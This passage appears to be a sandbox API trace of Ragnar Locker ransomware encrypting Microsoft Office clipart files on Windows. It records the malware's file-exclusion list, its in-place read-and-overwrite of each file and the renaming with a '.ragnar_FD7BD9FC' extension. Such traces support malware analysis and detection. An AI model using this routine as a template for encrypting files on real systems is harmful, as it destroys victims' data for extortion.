SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.023] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0080.023] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1204, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1204, lpOverlapped=0x0) returned 1 [0080.023] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0080.023] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1204, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.024] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1204, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1204, lpOverlapped=0x0) returned 1 [0080.024] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1204, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.024] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0080.024] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1204, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.024] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.024] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.024] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.024] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0080.024] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.024] GetProcessHeap () returned 0x580000 [0080.024] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0080.024] CloseHandle (hObject=0xf4) returned 1 [0080.024] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF" [0080.024] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF.ragnar_FD7BD9FC" [0080.025] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04195_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04195_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0080.025] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xc48, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04196_.WMF", cAlternateFileName="")) returned 1 [0080.025] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0080.025] lstrcpyW (in: lpString1=0x1eb62e, lpString2="AN04196_.WMF" | out: lpString1="AN04196_.WMF") returned="AN04196_.WMF" [0080.025] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF") returned=".WMF" [0080.025] lstrcmpiW (lpString1="AN04196_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0080.025] lstrcmpiW (lpString1="AN04196_.WMF", lpString2="autorun.inf") returned -1 [0080.025] lstrcmpiW (lpString1="AN04196_.WMF", lpString2="boot.ini") returned -1 [0080.025] lstrcmpiW (lpString1="AN04196_.WMF", lpString2="bootfont.bin") returned -1 [0080.025] lstrcmpiW (lpString1="AN04196_.WMF", lpString2="bootsect.bak") returned -1 [0080.025] lstrcmpiW (lpString1="AN04196_.WMF", lpString2="bootmgr") returned -1 [0080.025] lstrcmpiW (lpString1="AN04196_.WMF", lpString2="bootmgr.efi") returned -1 [0080.025] lstrcmpiW (lpString1="AN04196_.WMF", lpString2="bootmgfw.efi") returned -1 [0080.025] lstrcmpiW (lpString1="AN04196_.WMF", lpString2="desktop.ini") returned -1 [0080.025] lstrcmpiW (lpString1="AN04196_.WMF", lpString2="iconcache.db") returned -1 [0080.025] lstrcmpiW (lpString1="AN04196_.WMF", lpString2="ntldr") returned -1 [0080.025] lstrcmpiW (lpString1="AN04196_.WMF", lpString2="ntuser.dat") returned -1 [0080.026] lstrcmpiW (lpString1="AN04196_.WMF", lpString2="ntuser.dat.log") returned -1 [0080.026] lstrcmpiW (lpString1="AN04196_.WMF", lpString2="ntuser.ini") returned -1 [0080.026] lstrcmpiW (lpString1="AN04196_.WMF", lpString2="thumbs.db") returned -1 [0080.026] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0080.026] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0080.026] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0080.026] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0080.026] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0080.026] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0080.026] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0080.026] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04196_.wmf")) returned 0x20 [0080.026] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04196_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0080.026] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=3144) returned 1 [0080.026] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xc3f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.026] GetProcessHeap () returned 0x580000 [0080.026] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0080.026] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0080.028] VirtualAlloc (lpAddress=0x0, dwSize=0xc48, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0080.028] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.028] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0080.028] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xc48, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xc48, lpOverlapped=0x0) returned 1 [0080.028] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0080.028] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xc48, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.028] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xc48, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xc48, lpOverlapped=0x0) returned 1 [0080.029] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xc48, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.029] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0080.029] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xc48, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.029] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.029] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.029] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.029] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0080.029] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.029] GetProcessHeap () returned 0x580000 [0080.029] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0080.029] CloseHandle (hObject=0xf4) returned 1 [0080.029] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF" [0080.029] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF.ragnar_FD7BD9FC" [0080.029] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04196_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04196_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0080.030] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1df4, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04206_.WMF", cAlternateFileName="")) returned 1 [0080.030] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0080.030] lstrcpyW (in: lpString1=0x1eb62e, lpString2="AN04206_.WMF" | out: lpString1="AN04206_.WMF") returned="AN04206_.WMF" [0080.030] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF") returned=".WMF" [0080.030] lstrcmpiW (lpString1="AN04206_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0080.030] lstrcmpiW (lpString1="AN04206_.WMF", lpString2="autorun.inf") returned -1 [0080.030] lstrcmpiW (lpString1="AN04206_.WMF", lpString2="boot.ini") returned -1 [0080.030] lstrcmpiW (lpString1="AN04206_.WMF", lpString2="bootfont.bin") returned -1 [0080.030] lstrcmpiW (lpString1="AN04206_.WMF", lpString2="bootsect.bak") returned -1 [0080.030] lstrcmpiW (lpString1="AN04206_.WMF", lpString2="bootmgr") returned -1 [0080.030] lstrcmpiW (lpString1="AN04206_.WMF", lpString2="bootmgr.efi") returned -1 [0080.030] lstrcmpiW (lpString1="AN04206_.WMF", lpString2="bootmgfw.efi") returned -1 [0080.030] lstrcmpiW (lpString1="AN04206_.WMF", lpString2="desktop.ini") returned -1 [0080.030] lstrcmpiW (lpString1="AN04206_.WMF", lpString2="iconcache.db") returned -1 [0080.030] lstrcmpiW (lpString1="AN04206_.WMF", lpString2="ntldr") returned -1 [0080.030] lstrcmpiW (lpString1="AN04206_.WMF", lpString2="ntuser.dat") returned -1 [0080.030] lstrcmpiW (lpString1="AN04206_.WMF", lpString2="ntuser.dat.log") returned -1 [0080.030] lstrcmpiW (lpString1="AN04206_.WMF", lpString2="ntuser.ini") returned -1 [0080.030] lstrcmpiW (lpString1="AN04206_.WMF", lpString2="thumbs.db") returned -1 [0080.030] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0080.030] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0080.031] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0080.031] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0080.031] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0080.031] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0080.031] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0080.031] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04206_.wmf")) returned 0x20 [0080.031] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04206_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0080.032] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=7668) returned 1 [0080.032] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1deb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.032] GetProcessHeap () returned 0x580000 [0080.032] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0080.032] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0080.033] VirtualAlloc (lpAddress=0x0, dwSize=0x1df4, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0080.033] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.033] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0080.033] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1df4, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1df4, lpOverlapped=0x0) returned 1 [0080.034] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0080.034] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1df4, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.034] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1df4, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1df4, lpOverlapped=0x0) returned 1 [0080.034] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1df4, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.034] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0080.035] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1df4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.035] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.035] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.035] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.035] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0080.035] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.035] GetProcessHeap () returned 0x580000 [0080.035] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0080.035] CloseHandle (hObject=0xf4) returned 1 [0080.035] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF" [0080.035] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF.ragnar_FD7BD9FC" [0080.035] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04206_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04206_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0080.036] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x212c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04225_.WMF", cAlternateFileName="")) returned 1 [0080.036] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0080.036] lstrcpyW (in: lpString1=0x1eb62e, lpString2="AN04225_.WMF" | out: lpString1="AN04225_.WMF") returned="AN04225_.WMF" [0080.036] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF") returned=".WMF" [0080.036] lstrcmpiW (lpString1="AN04225_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0080.036] lstrcmpiW (lpString1="AN04225_.WMF", lpString2="autorun.inf") returned -1 [0080.036] lstrcmpiW (lpString1="AN04225_.WMF", lpString2="boot.ini") returned -1 [0080.036] lstrcmpiW (lpString1="AN04225_.WMF", lpString2="bootfont.bin") returned -1 [0080.036] lstrcmpiW (lpString1="AN04225_.WMF", lpString2="bootsect.bak") returned -1 [0080.036] lstrcmpiW (lpString1="AN04225_.WMF", lpString2="bootmgr") returned -1 [0080.036] lstrcmpiW (lpString1="AN04225_.WMF", lpString2="bootmgr.efi") returned -1 [0080.036] lstrcmpiW (lpString1="AN04225_.WMF", lpString2="bootmgfw.efi") returned -1 [0080.036] lstrcmpiW (lpString1="AN04225_.WMF", lpString2="desktop.ini") returned -1 [0080.036] lstrcmpiW (lpString1="AN04225_.WMF", lpString2="iconcache.db") returned -1 [0080.036] lstrcmpiW (lpString1="AN04225_.WMF", lpString2="ntldr") returned -1 [0080.036] lstrcmpiW (lpString1="AN04225_.WMF", lpString2="ntuser.dat") returned -1 [0080.036] lstrcmpiW (lpString1="AN04225_.WMF", lpString2="ntuser.dat.log") returned -1 [0080.036] lstrcmpiW (lpString1="AN04225_.WMF", lpString2="ntuser.ini") returned -1 [0080.036] lstrcmpiW (lpString1="AN04225_.WMF", lpString2="thumbs.db") returned -1 [0080.036] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0080.036] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0080.036] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0080.036] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0080.036] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0080.036] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0080.036] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0080.037] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04225_.wmf")) returned 0x20 [0080.037] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04225_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0080.037] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=8492) returned 1 [0080.037] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2123, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.037] GetProcessHeap () returned 0x580000 [0080.037] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0080.037] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0080.038] VirtualAlloc (lpAddress=0x0, dwSize=0x212c, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0080.039] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.039] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0080.039] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x212c, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x212c, lpOverlapped=0x0) returned 1 [0080.040] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0080.040] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x212c, nNumberOfBytesToLockHigh=0x0) 